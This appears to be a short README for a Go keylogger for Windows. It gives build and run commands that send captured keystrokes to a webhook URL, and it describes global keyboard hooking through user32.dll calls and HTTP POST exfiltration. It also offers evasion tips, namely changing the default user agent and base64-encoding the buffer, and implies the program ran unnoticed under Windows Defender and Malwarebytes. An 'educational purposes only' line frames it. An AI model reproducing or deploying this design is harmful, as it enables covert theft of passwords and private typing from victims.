Go based Windows Keylogger sending ASCII to Webhooks
go build -o goklog.exe goklog.go; .\goklog.exe 'https://webhook-test.com/'
Educational purposes only.
Uses native Windows API calls including SetWindowsHookExW, CallNextHookEx, GetMessageW from user32.dll to globally monitor keyboard strokes and then filters out ASCII printable characters and HTTP POSTs them to a webhook. Notice that I leave default go client user agents. You need to change that yourself or add base64 and include unicode or non printable characters as part of your buffer. Notes about what I learned from varying articles and Go syntax constructs vs. Python in the comments.
This has been run on Windows 11 x64 bit and with Windows Defender and Malwarebytes Premium
